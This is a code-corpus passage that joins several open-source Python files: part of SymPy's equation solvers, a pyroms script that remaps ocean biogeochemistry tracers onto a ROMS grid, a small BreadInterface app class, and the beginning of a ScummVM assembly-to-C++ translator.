I*pi)/log(3)] >>> tsolve(log(x) + 2*x, x) [LambertW(2)/2] """ if 'tsolve_saw' not in flags: flags['tsolve_saw'] = [] if eq in flags['tsolve_saw']: return None else: flags['tsolve_saw'].append(eq) rhs, lhs = _invert(eq, sym) if lhs == sym: return [rhs] try: if lhs.is_Add: # it's time to try factoring; powdenest is used # to try get powers in standard form for better factoring f = factor(powdenest(lhs - rhs)) if f.is_Mul: return _solve(f, sym, **flags) if rhs: f = logcombine(lhs, force=flags.get('force', True)) if f.count(log) != lhs.count(log): if f.func is log: return _solve(f.args[0] - exp(rhs), sym, **flags) return _tsolve(f - rhs, sym) elif lhs.is_Pow: if lhs.exp.is_Integer: if lhs - rhs != eq: return _solve(lhs - rhs, sym, **flags) elif sym not in lhs.exp.free_symbols: return _solve(lhs.base - rhs**(1/lhs.exp), sym, **flags) elif not rhs and sym in lhs.exp.free_symbols: # f(x)**g(x) only has solutions where f(x) == 0 and g(x) != 0 at # the same place sol_base = _solve(lhs.base, sym, **flags) if not sol_base: return sol_base # no solutions to remove so return now return list(ordered(set(sol_base) - set( _solve(lhs.exp, sym, **flags)))) elif (rhs is not S.Zero and lhs.base.is_positive and lhs.exp.is_real): return _solve(lhs.exp*log(lhs.base) - log(rhs), sym, **flags) elif lhs.base == 0 and rhs == 1: return _solve(lhs.exp, sym, **flags) elif lhs.is_Mul and rhs.is_positive: llhs = expand_log(log(lhs)) if llhs.is_Add: return _solve(llhs - log(rhs), sym, **flags) elif lhs.is_Function and len(lhs.args) == 1 and lhs.func in multi_inverses: # sin(x) = 1/3 -> x - asin(1/3) & x - (pi - asin(1/3)) soln = [] for i in multi_inverses[lhs.func](rhs): soln.extend(_solve(lhs.args[0] - i, sym, **flags)) return list(ordered(soln)) rewrite = lhs.rewrite(exp) if rewrite != lhs: return _solve(rewrite - rhs, sym, **flags) except NotImplementedError: pass # maybe it is a lambert pattern if flags.pop('bivariate', True): # lambert forms may need some help being recognized, e.g. changing # 2**(3*x) + x**3*log(2)**3 + 3*x**2*log(2)**2 + 3*x*log(2) + 1 # to 2**(3*x) + (x*log(2) + 1)**3 g = _filtered_gens(eq.as_poly(), sym) up_or_log = set() for gi in g: if gi.func is exp or gi.func is log: up_or_log.add(gi) elif gi.is_Pow: gisimp = powdenest(expand_power_exp(gi)) if gisimp.is_Pow and sym in gisimp.exp.free_symbols: up_or_log.add(gi) down = g.difference(up_or_log) eq_down = expand_log(expand_power_exp(eq)).subs( dict(list(zip(up_or_log, [0]*len(up_or_log))))) eq = expand_power_exp(factor(eq_down, deep=True) + (eq - eq_down)) rhs, lhs = _invert(eq, sym) if lhs.has(sym): try: poly = lhs.as_poly() g = _filtered_gens(poly, sym) return _solve_lambert(lhs - rhs, sym, g) except NotImplementedError: # maybe it's a convoluted function if len(g) == 2: try: gpu = bivariate_type(lhs - rhs, *g) if gpu is None: raise NotImplementedError g, p, u = gpu flags['bivariate'] = False inversion = _tsolve(g - u, sym, **flags) if inversion: sol = _solve(p, u, **flags) return list(ordered(set([i.subs(u, s) for i in inversion for s in sol]))) except NotImplementedError: pass else: pass if flags.pop('force', True): flags['force'] = False pos, reps = posify(lhs - rhs) for u, s in reps.items(): if s == sym: break else: u = sym if pos.has(u): try: soln = _solve(pos, u, **flags) return list(ordered([s.subs(reps) for s in soln])) except NotImplementedError: pass else: pass # here for coverage return # here for coverage # TODO: option for calculating J numerically def nsolve(*args, **kwargs): r""" Solve a nonlinear equation system numerically:: nsolve(f, [args,] x0, modules=['mpmath'], **kwargs) f is a vector function of symbolic expressions representing the system. args are the variables. If there is only one variable, this argument can be omitted. x0 is a starting vector close to a solution. Use the modules keyword to specify which modules should be used to evaluate the function and the Jacobian matrix. Make sure to use a module that supports matrices. For more information on the syntax, please see the docstring of lambdify. Overdetermined systems are supported. >>> from sympy import Symbol, nsolve >>> import sympy >>> import mpmath >>> mpmath.mp.dps = 15 >>> x1 = Symbol('x1') >>> x2 = Symbol('x2') >>> f1 = 3 * x1**2 - 2 * x2**2 - 1 >>> f2 = x1**2 - 2 * x1 + x2**2 + 2 * x2 - 8 >>> print(nsolve((f1, f2), (x1, x2), (-1, 1))) [-1.19287309935246] [ 1.27844411169911] For one-dimensional functions the syntax is simplified: >>> from sympy import sin, nsolve >>> from sympy.abc import x >>> nsolve(sin(x), x, 2) 3.14159265358979 >>> nsolve(sin(x), 2) 3.14159265358979 mpmath.findroot is used, you can find there more extensive documentation, especially concerning keyword parameters and available solvers. Note, however, that this routine works only with the numerator of the function in the one-dimensional case, and for very steep functions near the root this may lead to a failure in the verification of the root. In this case you should use the flag `verify=False` and independently verify the solution. >>> from sympy import cos, cosh >>> from sympy.abc import i >>> f = cos(x)*cosh(x) - 1 >>> nsolve(f, 3.14*100) Traceback (most recent call last): ... ValueError: Could not find root within given tolerance. (1.39267e+230 > 2.1684e-19) >>> ans = nsolve(f, 3.14*100, verify=False); ans 312.588469032184 >>> f.subs(x, ans).n(2) 2.1e+121 >>> (f/f.diff(x)).subs(x, ans).n(2) 7.4e-15 One might safely skip the verification if bounds of the root are known and a bisection method is used: >>> bounds = lambda i: (3.14*i, 3.14*(i + 1)) >>> nsolve(f, bounds(100), solver='bisect', verify=False) 315.730061685774 """ # there are several other SymPy functions that use method= so # guard against that here if 'method' in kwargs: raise ValueError(filldedent(''' Keyword "method" should not be used in this context. When using some mpmath solvers directly, the keyword "method" is used, but when using nsolve (and findroot) the keyword to use is "solver".''')) # interpret arguments if len(args) == 3: f = args[0] fargs = args[1] x0 = args[2] elif len(args) == 2: f = args[0] fargs = None x0 = args[1] elif len(args) < 2: raise TypeError('nsolve expected at least 2 arguments, got %i' % len(args)) else: raise TypeError('nsolve expected at most 3 arguments, got %i' % len(args)) modules = kwargs.get('modules', ['mpmath']) if iterable(f): f = list(f) for i, fi in enumerate(f): if isinstance(fi, Equality): f[i] = fi.lhs - fi.rhs f = Matrix(f).T if not isinstance(f, Matrix): # assume it's a sympy expression if isinstance(f, Equality): f = f.lhs - f.rhs f = f.evalf() syms = f.free_symbols if fargs is None: fargs = syms.copy().pop() if not (len(syms) == 1 and (fargs in syms or fargs[0] in syms)): raise ValueError(filldedent(''' expected a one-dimensional and numerical function''')) # the function is much better behaved if there is no denominator f = f.as_numer_denom()[0] f = lambdify(fargs, f, modules) return findroot(f, x0, **kwargs) if len(fargs) > f.cols: raise NotImplementedError(filldedent(''' need at least as many equations as variables''')) verbose = kwargs.get('verbose', False) if verbose: print('f(x):') print(f) # derive Jacobian J = f.jacobian(fargs) if verbose: print('J(x):') print(J) # create functions f = lambdify(fargs, f.T, modules) J = lambdify(fargs, J, modules) # solve the system numerically x = findroot(f, x0, J=J, **kwargs) return x def _invert(eq, *symbols, **kwargs): """Return tuple (i, d) where ``i`` is independent of ``symbols`` and ``d`` contains symbols. ``i`` and ``d`` are obtained after recursively using algebraic inversion until an uninvertible ``d`` remains. If there are no free symbols then ``d`` will be zero. Some (but not necessarily all) solutions to the expression ``i - d`` will be related to the solutions of the original expression. Examples ======== >>> from sympy.solvers.solvers import _invert as invert >>> from sympy import sqrt, cos >>> from sympy.abc import x, y >>> invert(x - 3) (3, x) >>> invert(3) (3, 0) >>> invert(2*cos(x) - 1) (1/2, cos(x)) >>> invert(sqrt(x) - 3) (3, sqrt(x)) >>> invert(sqrt(x) + y, x) (-y, sqrt(x)) >>> invert(sqrt(x) + y, y) (-sqrt(x), y) >>> invert(sqrt(x) + y, x, y) (0, sqrt(x) + y) If there is more than one symbol in a power's base and the exponent is not an Integer, then the principal root will be used for the inversion: >>> invert(sqrt(x + y) - 2) (4, x + y) >>> invert(sqrt(x + y) - 2) (4, x + y) If the exponent is an integer, setting ``integer_power`` to True will force the principal root to be selected: >>> invert(x**2 - 4, integer_power=True) (2, x) """ eq = sympify(eq) free = eq.free_symbols if not symbols: symbols = free if not free & set(symbols): return eq, S.Zero dointpow = bool(kwargs.get('integer_power', False)) lhs = eq rhs = S.Zero while True: was = lhs while True: indep, dep = lhs.as_independent(*symbols) # dep + indep == rhs if lhs.is_Add: # this indicates we have done it all if indep is S.Zero: break lhs = dep rhs -= indep # dep * indep == rhs else: # this indicates we have done it all if indep is S.One: break lhs = dep rhs /= indep # collect like-terms in symbols if lhs.is_Add: terms = {} for a in lhs.args: i, d = a.as_independent(*symbols) terms.setdefault(d, []).append(i) if any(len(v) > 1 for v in terms.values()): args = [] for d, i in terms.items(): if len(i) > 1: args.append(Add(*i)*d) else: args.append(i[0]*d) lhs = Add(*args) # if it's a two-term Add with rhs = 0 and two powers we can get the # dependent terms together, e.g. 3*f(x) + 2*g(x) -> f(x)/g(x) = -2/3 if lhs.is_Add and not rhs and len(lhs.args) == 2 and \ not lhs.is_polynomial(*symbols): a, b = ordered(lhs.args) ai, ad = a.as_independent(*symbols) bi, bd = b.as_independent(*symbols) if any(_ispow(i) for i in (ad, bd)): a_base, a_exp = ad.as_base_exp() b_base, b_exp = bd.as_base_exp() if a_base == b_base: # a = -b lhs = powsimp(powdenest(ad/bd)) rhs = -bi/ai else: rat = ad/bd _lhs = powsimp(ad/bd) if _lhs != rat: lhs = _lhs rhs = -bi/ai if ai*bi is S.NegativeOne: if all( isinstance(i, Function) for i in (ad, bd)) and \ ad.func == bd.func and len(ad.args) == len(bd.args): if len(ad.args) == 1: lhs = ad.args[0] - bd.args[0] else: # should be able to solve # f(x, y) == f(2, 3) -> x == 2 # f(x, x + y) == f(2, 3) -> x == 2 or x == 3 - y raise NotImplementedError('equal function with more than 1 argument') elif lhs.is_Mul and any(_ispow(a) for a in lhs.args): lhs = powsimp(powdenest(lhs)) if lhs.is_Function: if hasattr(lhs, 'inverse') and len(lhs.args) == 1: # -1 # f(x) = g -> x = f (g) # # /!\ inverse should not be defined if there are multiple values # for the function -- these are handled in _tsolve # rhs = lhs.inverse()(rhs) lhs = lhs.args[0] elif lhs.func is atan2: y, x = lhs.args lhs = 2*atan(y/(sqrt(x**2 + y**2) + x)) if rhs and lhs.is_Pow and lhs.exp.is_Integer and lhs.exp < 0: lhs = 1/lhs rhs = 1/rhs # base**a = b -> base = b**(1/a) if # a is an Integer and dointpow=True (this gives real branch of root) # a is not an Integer and the equation is multivariate and the # base has more than 1 symbol in it # The rationale for this is that right now the multi-system solvers # doesn't try to resolve generators to see, for example, if the whole # system is written in terms of sqrt(x + y) so it will just fail, so we # do that step here. if lhs.is_Pow and ( lhs.exp.is_Integer and dointpow or not lhs.exp.is_Integer and len(symbols) > 1 and len(lhs.base.free_symbols & set(symbols)) > 1): rhs = rhs**(1/lhs.exp) lhs = lhs.base if lhs == was: break return rhs, lhs def unrad(eq, *syms, **flags): """ Remove radicals with symbolic arguments and return (eq, cov), None or raise an error: None is returned if there are no radicals to remove. NotImplementedError is raised if there are radicals and they cannot be removed or if the relationship between the original symbols and the change of variable needed to rewrite the system as a polynomial cannot be solved. Otherwise the tuple, ``(eq, cov)``, is returned where:: ``eq``, ``cov`` ``eq`` is an equation without radicals (in the symbol(s) of interest) whose solutions are a superset of the solutions to the original expression. ``eq`` might be re-written in terms of a new variable; the relationship to the original variables is given by ``cov`` which is a list containing ``v`` and ``v**p - b`` where ``p`` is the power needed to clear the radical and ``b`` is the radical now expressed as a polynomial in the symbols of interest. For example, for sqrt(2 - x) the tuple would be ``(c, c**2 - 2 + x)``. The solutions of ``eq`` will contain solutions to the original equation (if there are any). ``syms`` an iterable of symbols which, if provided, will limit the focus of radical removal: only radicals with one or more of the symbols of interest will be cleared. All free symbols are used if ``syms`` is not set. ``flags`` are used internally for communication during recursive calls. Two options are also recognized:: ``take``, when defined, is interpreted as a single-argument function that returns True if a given Pow should be handled. Radicals can be removed from an expression if:: * all bases of the radicals are the same; a change of variables is done in this case. * if all radicals appear in one term of the expression * there are only 4 terms with sqrt() factors or there are less than four terms having sqrt() factors * there are only two terms with radicals Examples ======== >>> from sympy.solvers.solvers import unrad >>> from sympy.abc import x >>> from sympy import sqrt, Rational, root, real_roots, solve >>> unrad(sqrt(x)*x**Rational(1, 3) + 2) (x**5 - 64, []) >>> unrad(sqrt(x) + root(x + 1, 3)) (x**3 - x**2 - 2*x - 1, []) >>> eq = sqrt(x) + root(x, 3) - 2 >>> unrad(eq) (_p**3 + _p**2 - 2, [_p, _p**6 - x]) """ _inv_error = 'cannot get an analytical solution for the inversion' uflags = dict(check=False, simplify=False) def _cov(p, e): if cov: # XXX - uncovered oldp, olde = cov if Poly(e, p).degree(p) in (1, 2): cov[:] = [p, olde.subs(oldp, _solve(e, p, **uflags)[0])] else: raise NotImplementedError else: cov[:] = [p, e] def _canonical(eq, cov): if cov: # change symbol to vanilla so no solutions are eliminated p, e = cov rep = {p: Dummy(p.name)} eq = eq.xreplace(rep) cov = [p.xreplace(rep), e.xreplace(rep)] # remove constants and powers of factors since these don't change # the location of the root; XXX should factor or factor_terms be used? eq = factor_terms(_mexpand(eq.as_numer_denom()[0], recursive=True)) if eq.is_Mul: args = [] for f in eq.args: if f.is_number: continue if f.is_Pow and _take(f, True): args.append(f.base) else: args.append(f) eq = Mul(*args) # leave as Mul for more efficient solving # make the sign canonical free = eq.free_symbols if len(free) == 1: if eq.coeff(free.pop()**degree(eq)).could_extract_minus_sign(): eq = -eq elif eq.could_extract_minus_sign(): eq = -eq return eq, cov def _Q(pow): # return leading Rational of denominator of Pow's exponent c = pow.as_base_exp()[1].as_coeff_Mul()[0] if not c.is_Rational: return S.One return c.q # define the _take method that will determine whether a term is of interest def _take(d, take_int_pow): # return True if coefficient of any factor's exponent's den is not 1 for pow in Mul.make_args(d): if not (pow.is_Symbol or pow.is_Pow): continue b, e = pow.as_base_exp() if not b.has(*syms): continue if not take_int_pow and _Q(pow) == 1: continue free = pow.free_symbols if free.intersection(syms): return True return False _take = flags.setdefault('_take', _take) cov, nwas, rpt = [flags.setdefault(k, v) for k, v in sorted(dict(cov=[], n=None, rpt=0).items())] # preconditioning eq = powdenest(factor_terms(eq, radical=True)) eq, d = eq.as_numer_denom() eq = _mexpand(eq, recursive=True) if eq.is_number: return syms = set(syms) or eq.free_symbols poly = eq.as_poly() gens = [g for g in poly.gens if _take(g, True)] if not gens: return # check for trivial case # - already a polynomial in integer powers if all(_Q(g) == 1 for g in gens): return # - an exponent has a symbol of interest (don't handle) if any(g.as_base_exp()[1].has(*syms) for g in gens): return def _rads_bases_lcm(poly): # if all the bases are the same or all the radicals are in one # term, `lcm` will be the lcm of the denominators of the # exponents of the radicals lcm = 1 rads = set() bases = set() for g in poly.gens: if not _take(g, False): continue q = _Q(g) if q != 1: rads.add(g) lcm = ilcm(lcm, q) bases.add(g.base) return rads, bases, lcm rads, bases, lcm = _rads_bases_lcm(poly) if not rads: return covsym = Dummy('p', nonnegative=True) # only keep in syms symbols that actually appear in radicals; # and update gens newsyms = set() for r in rads: newsyms.update(syms & r.free_symbols) if newsyms != syms: syms = newsyms gens = [g for g in gens if g.free_symbols & syms] # get terms together that have common generators drad = dict(list(zip(rads, list(range(len(rads)))))) rterms = {(): []} args = Add.make_args(poly.as_expr()) for t in args: if _take(t, False): common = set(t.as_poly().gens).intersection(rads) key = tuple(sorted([drad[i] for i in common])) else: key = () rterms.setdefault(key, []).append(t) others = Add(*rterms.pop(())) rterms = [Add(*rterms[k]) for k in rterms.keys()] # the output will depend on the order terms are processed, so # make it canonical quickly rterms = list(reversed(list(ordered(rterms)))) ok = False # we don't have a solution yet depth = sqrt_depth(eq) if len(rterms) == 1 and not (rterms[0].is_Add and lcm > 2): eq = rterms[0]**lcm - ((-others)**lcm) ok = True else: if len(rterms) == 1 and rterms[0].is_Add: rterms = list(rterms[0].args) if len(bases) == 1: b = bases.pop() if len(syms) > 1: free = b.free_symbols x = set([g for g in gens if g.is_Symbol]) & free if not x: x = free x = ordered(x) else: x = syms x = list(x)[0] try: inv = _solve(covsym**lcm - b, x, **uflags) if not inv: raise NotImplementedError eq = poly.as_expr().subs(b, covsym**lcm).subs(x, inv[0]) _cov(covsym, covsym**lcm - b) return _canonical(eq, cov) except NotImplementedError: pass else: # no longer consider integer powers as generators gens = [g for g in gens if _Q(g) != 1] if len(rterms) == 2: if not others: eq = rterms[0]**lcm - (-rterms[1])**lcm ok = True elif not log(lcm, 2).is_Integer: # the lcm-is-power-of-two case is handled below r0, r1 = rterms if flags.get('_reverse', False): r1, r0 = r0, r1 i0 = _rads0, _bases0, lcm0 = _rads_bases_lcm(r0.as_poly()) i1 = _rads1, _bases1, lcm1 = _rads_bases_lcm(r1.as_poly()) for reverse in range(2): if reverse: i0, i1 = i1, i0 r0, r1 = r1, r0 _rads1, _, lcm1 = i1 _rads1 = Mul(*_rads1) t1 = _rads1**lcm1 c = covsym**lcm1 - t1 for x in syms: try: sol = _solve(c, x, **uflags) if not sol: raise NotImplementedError neweq = r0.subs(x, sol[0]) + covsym*r1/_rads1 + \ others tmp = unrad(neweq, covsym) if tmp: eq, newcov = tmp if newcov: newp, newc = newcov _cov(newp, c.subs(covsym, _solve(newc, covsym, **uflags)[0])) else: _cov(covsym, c) else: eq = neweq _cov(covsym, c) ok = True break except NotImplementedError: if reverse: raise NotImplementedError( 'no successful change of variable found') else: pass if ok: break elif len(rterms) == 3: # two cube roots and another with order less than 5 # (so an analytical solution can be found) or a base # that matches one of the cube root bases info = [_rads_bases_lcm(i.as_poly()) for i in rterms] RAD = 0 BASES = 1 LCM = 2 if info[0][LCM] != 3: info.append(info.pop(0)) rterms.append(rterms.pop(0)) elif info[1][LCM] != 3: info.append(info.pop(1)) rterms.append(rterms.pop(1)) if info[0][LCM] == info[1][LCM] == 3: if info[1][BASES] != info[2][BASES]: info[0], info[1] = info[1], info[0] rterms[0], rterms[1] = rterms[1], rterms[0] if info[1][BASES] == info[2][BASES]: eq = rterms[0]**3 + (rterms[1] + rterms[2] + others)**3 ok = True elif info[2][LCM] < 5: # a*root(A, 3) + b*root(B, 3) + others = c a, b, c, d, A, B = [Dummy(i) for i in 'abcdAB'] # zz represents the unraded expression into which the # specifics for this case are substituted zz = (c - d)*(A**3*a**9 + 3*A**2*B*a**6*b**3 - 3*A**2*a**6*c**3 + 9*A**2*a**6*c**2*d - 9*A**2*a**6*c*d**2 + 3*A**2*a**6*d**3 + 3*A*B**2*a**3*b**6 + 21*A*B*a**3*b**3*c**3 - 63*A*B*a**3*b**3*c**2*d + 63*A*B*a**3*b**3*c*d**2 - 21*A*B*a**3*b**3*d**3 + 3*A*a**3*c**6 - 18*A*a**3*c**5*d + 45*A*a**3*c**4*d**2 - 60*A*a**3*c**3*d**3 + 45*A*a**3*c**2*d**4 - 18*A*a**3*c*d**5 + 3*A*a**3*d**6 + B**3*b**9 - 3*B**2*b**6*c**3 + 9*B**2*b**6*c**2*d - 9*B**2*b**6*c*d**2 + 3*B**2*b**6*d**3 + 3*B*b**3*c**6 - 18*B*b**3*c**5*d + 45*B*b**3*c**4*d**2 - 60*B*b**3*c**3*d**3 + 45*B*b**3*c**2*d**4 - 18*B*b**3*c*d**5 + 3*B*b**3*d**6 - c**9 + 9*c**8*d - 36*c**7*d**2 + 84*c**6*d**3 - 126*c**5*d**4 + 126*c**4*d**5 - 84*c**3*d**6 + 36*c**2*d**7 - 9*c*d**8 + d**9) def _t(i): b = Mul(*info[i][RAD]) return cancel(rterms[i]/b), Mul(*info[i][BASES]) aa, AA = _t(0) bb, BB = _t(1) cc = -rterms[2] dd = others eq = zz.xreplace(dict(zip( (a, A, b, B, c, d), (aa, AA, bb, BB, cc, dd)))) ok = True # handle power-of-2 cases if not ok: if log(lcm, 2).is_Integer and (not others and len(rterms) == 4 or len(rterms) < 4): def _norm2(a, b): return a**2 + b**2 + 2*a*b if len(rterms) == 4: # (r0+r1)**2 - (r2+r3)**2 r0, r1, r2, r3 = rterms eq = _norm2(r0, r1) - _norm2(r2, r3) ok = True elif len(rterms) == 3: # (r1+r2)**2 - (r0+others)**2 r0, r1, r2 = rterms eq = _norm2(r1, r2) - _norm2(r0, others) ok = True elif len(rterms) == 2: # r0**2 - (r1+others)**2 r0, r1 = rterms eq = r0**2 - _norm2(r1, others) ok = True new_depth = sqrt_depth(eq) if ok else depth rpt += 1 # XXX how many repeats with others unchanging is enough? if not ok or ( nwas is not None and len(rterms) == nwas and new_depth is not None and new_depth == depth and rpt > 3): raise NotImplementedError('Cannot remove all radicals') flags.update(dict(cov=cov, n=len(rterms), rpt=rpt)) neq = unrad(eq, *syms, **flags) if neq: eq, cov = neq eq, cov = _canonical(eq, cov) return eq, cov from sympy.solvers.bivariate import ( bivariate_type, _solve_lambert, _filtered_gens)
kaichogami/sympy
sympy/solvers/solvers.py
Python
bsd-3-clause
122,379
[ "Gaussian" ]
c432c72decc13e6ee72a2b4da1cf8e9fa9c99c84cfab836ecd5d10f844b59385
import numpy as np import os try: import netCDF4 as netCDF except: import netCDF3 as netCDF import matplotlib.pyplot as plt import time from datetime import datetime from matplotlib.dates import date2num, num2date import pyroms import pyroms_toolbox import _remapping class nctime(object): pass def remap_bio(argdict, src_grd, dst_grd, dmax=0, cdepth=0, kk=0, dst_dir='./'): # NWGOA3 grid sub-sample xrange=src_grd.xrange; yrange=src_grd.yrange src_varname = argdict['tracer'] tracer = src_varname src_file = argdict['file'] units = argdict['units'] longname = argdict['longname'] kt = argdict['frame'] # get time nctime.long_name = 'time' nctime.units = 'days since 1900-01-01 00:00:00' # create clim file dst_file = tracer + '.nc' dst_file = dst_dir + dst_grd.name + '_clim_bio_' + dst_file print 'Creating clim file', dst_file if os.path.exists(dst_file) is True: os.remove(dst_file) pyroms_toolbox.nc_create_roms_file(dst_file, dst_grd, nctime) # open clim file nc = netCDF.Dataset(dst_file, 'a', format='NETCDF3_64BIT') #load var cdf = netCDF.Dataset(src_file) src_var = cdf.variables[src_varname] # correct time to some classic value days_in_month = np.array([31,28.25,31,30,31,30,31,31,30,31,30,31]) time = days_in_month[:kt].sum() + days_in_month[kt] / 2. #get missing value spval = src_var._FillValue # determine variable dimension ndim = len(src_var.dimensions) - 1 # NWGOA3 grid sub-sample if ndim == 3: src_var = src_var[kt,:, yrange[0]:yrange[1]+1, xrange[0]:xrange[1]+1] elif ndim == 2: src_var = src_var[kt,yrange[0]:yrange[1]+1, xrange[0]:xrange[1]+1] Bpos = 't' Cpos = 'rho' z = src_grd.z_t Mp, Lp = dst_grd.hgrid.mask_rho.shape wts_file = 'remap_weights_ESM2M_to_NWGOA3_bilinear_t_to_rho.nc' dst_varname = tracer dimensions = ('ocean_time', 's_rho', 'eta_rho', 'xi_rho') long_name = longname field = tracer + ', scalar, series' units = units if ndim == 3: # build intermediate zgrid zlevel = -z[::-1] nzlevel = len(zlevel) dst_zcoord = pyroms.vgrid.z_coordinate(dst_grd.vgrid.h, zlevel, nzlevel) dst_grdz = pyroms.grid.ROMS_Grid(dst_grd.name+'_Z', dst_grd.hgrid, dst_zcoord) # create variable in file print 'Creating variable', dst_varname nc.createVariable(dst_varname, 'f8', dimensions, fill_value=spval) nc.variables[dst_varname].long_name = long_name nc.variables[dst_varname].units = units nc.variables[dst_varname].field = field # remapping print 'remapping', dst_varname, 'from', src_grd.name, \ 'to', dst_grd.name if ndim == 3: # flood the grid print 'flood the grid' src_varz = pyroms_toolbox.BGrid_GFDL.flood(src_var, src_grd, Bpos=Bpos, spval=spval, \ dmax=dmax, cdepth=cdepth, kk=kk) else: src_varz = src_var # horizontal interpolation using scrip weights print 'horizontal interpolation using scrip weights' dst_varz = pyroms.remapping.remap(src_varz, wts_file, spval=spval) if ndim == 3: # vertical interpolation from standard z level to sigma print 'vertical interpolation from standard z level to sigma' dst_var = pyroms.remapping.z2roms(dst_varz[::-1,:,:], dst_grdz, \ dst_grd, Cpos=Cpos, spval=spval, flood=False) else: dst_var = dst_varz # write data in destination file print 'write data in destination file\n' nc.variables['ocean_time'][0] = time nc.variables['ocean_time'].cycle_length = 365.25 nc.variables[dst_varname][0] = dst_var # close file nc.close() cdf.close() if src_varname == 'eta': return dst_varz
kshedstrom/pyroms
examples/cobalt-preproc/Clim_bio/remap_bio.py
Python
bsd-3-clause
3,866
[ "NetCDF" ]
19cda5cab5e6a1176acb7e96cc2f04a4cf6f71cf7b12c2825bae9c77f01df0f9
## # title: BreadInterface.App # by: Brian Kim # description: the top-level class that manages the # Navigator and Settings. # A developer could subclass this or just use it # right out of the box. # from Lifecycle import Lifecycle from Navigator import Navigator from Settings import Settings ## # app class # class App( Lifecycle ): def __init__( self, root, dim=None, appName='BreadInterface' ): # init the app components # self.settings = Settings(appName) self.navigator = Navigator( root, dim ) self.appName = appName def cleanup( self ): self.settings.cleanup() self.navigator.cleanup() def start( self ): if not self.navigator.ready: print "Navigator not ready..." return self.navigator.window.set_title( self.appName ) self.navigator.start() def stop( self ): self.navigator.stop()
briansan/BreadInterface
py/BreadInterface/core/App.py
Python
bsd-2-clause
869
[ "Brian" ]
81a4063641b2003d101f6ea2940db44d360a6309feea0fd565b9d99112543a33
# ScummVM - Graphic Adventure Engine # # ScummVM is the legal property of its developers, whose names # are too numerous to list here. Please refer to the COPYRIGHT # file distributed with this source distribution. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # import op, traceback, re, proc from copy import copy proc_module = proc class CrossJump(Exception): pass def parse_bin(s): b = s.group(1) v = hex(int(b, 2)) #print "BINARY: %s -> %s" %(b, v) return v class cpp: def __init__(self, context, namespace, skip_first = 0, blacklist = [], skip_output = [], skip_dispatch_call = False, skip_addr_constants = False, header_omit_blacklisted = False, function_name_remapping = { }): self.namespace = namespace fname = namespace.lower() + ".cpp" header = namespace.lower() + ".h" banner = """/* PLEASE DO NOT MODIFY THIS FILE. ALL CHANGES WILL BE LOST! LOOK FOR README FOR DETAILS */ /* ScummVM - Graphic Adventure Engine * * ScummVM is the legal property of its developers, whose names * are too numerous to list here. Please refer to the COPYRIGHT * file distributed with this source distribution. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * */ """ self.fd = open(fname, "wt") self.hd = open(header, "wt") hid = "TASMRECOVER_%s_STUBS_H__" %namespace.upper() self.hd.write("""#ifndef %s #define %s %s""" %(hid, hid, banner)) self.context = context self.data_seg = context.binary_data self.procs = context.proc_list self.skip_first = skip_first self.proc_queue = [] self.proc_done = [] self.blacklist = blacklist self.failed = list(blacklist) self.skip_output = skip_output self.skip_dispatch_call = skip_dispatch_call self.skip_addr_constants = skip_addr_constants self.header_omit_blacklisted = header_omit_blacklisted self.function_name_remapping = function_name_remapping self.translated = [] self.proc_addr = [] self.used_data_offsets = set() self.methods = [] self.fd.write("""%s #include \"%s\" namespace %s { """ %(banner, header, namespace)) def expand_cb(self, match): name = match.group(0).lower() if len(name) == 2 and \ ((name[0] in ['a', 'b', 'c', 'd'] and name[1] in ['h', 'x', 'l']) or name in ['si', 'di', 'es', 'ds', 'cs']): return "%s" %name if self.indirection == -1: try: offset,p,p = self.context.get_offset(name) except: pass else: print "OFFSET = %d" %offset self.indirection = 0 self.used_data_offsets.add((name,offset)) return "offset_%s" % (name,) g = self.context.get_global(name) if isinstance(g, op.const): value = self.expand_equ(g.value) print "equ: %s -> %s" %(name, value) elif isinstance(g, proc.proc): if self.indirection != -1: raise Exception("invalid proc label usage") value = str(g.offset) self.indirection = 0 else: size = g.size if size == 0: raise Exception("invalid var '%s' size %u" %(name, size)) if self.indirection == 0: value = "data.%s(k%s)" %("byte" if size == 1 else "word", name.capitalize()) elif self.indirection == -1: value = "%s" %g.offset self.indirection = 0 else: raise Exception("invalid indirection %d" %self.indirection) return value def get_size(self, expr): #print 'get_size("%s")' %expr try: v = self.context.parse_int(expr) return 1 if v < 256 else 2 except: pass if re.match(r'byte\s+ptr\s', expr) is not None: return 1 if re.match(r'word\s+ptr\s', expr) is not None: return 2 if len(expr) == 2 and expr[0] in ['a', 'b', 'c', 'd'] and expr[1] in ['h', 'l']: return 1 if expr in ['ax', 'bx', 'cx', 'dx', 'si', 'di', 'sp', 'bp', 'ds', 'cs', 'es', 'fs']: return 2 m = re.match(r'[a-zA-Z_]\w*', expr) if m is not None: name = m.group(0) try: g = self.context.get_global(name) return g.size except: pass return 0 def expand_equ_cb(self, match): name = match.group(0).lower() g = self.context.get_global(name) if isinstance(g, op.const): return g.value return str(g.offset) def expand_equ(self, expr): n = 1 while n > 0: expr, n = re.subn(r'\b[a-zA-Z_][a-zA-Z0-9_]+\b', self.expand_equ_cb, expr) expr = re.sub(r'\b([0-9][a-fA-F0-9]*)h', '0x\\1', expr) return "(%s)" %expr def expand(self, expr, def_size = 0): #print "EXPAND \"%s\"" %expr size = self.get_size(expr) if def_size == 0 else def_size indirection = 0 seg = None reg = True m = re.match(r'seg\s+(.*?)$', expr) if m is not None: return "data" match_id = True m = re.match(r'offset\s+(.*?)$', expr) if m is not None: indirection -= 1 expr = m.group(1).strip() m = re.match(r'byte\s+ptr\s+(.*?)$', expr) if m is not None: expr = m.group(1).strip() m = re.match(r'word\s+ptr\s+(.*?)$', expr) if m is not None: 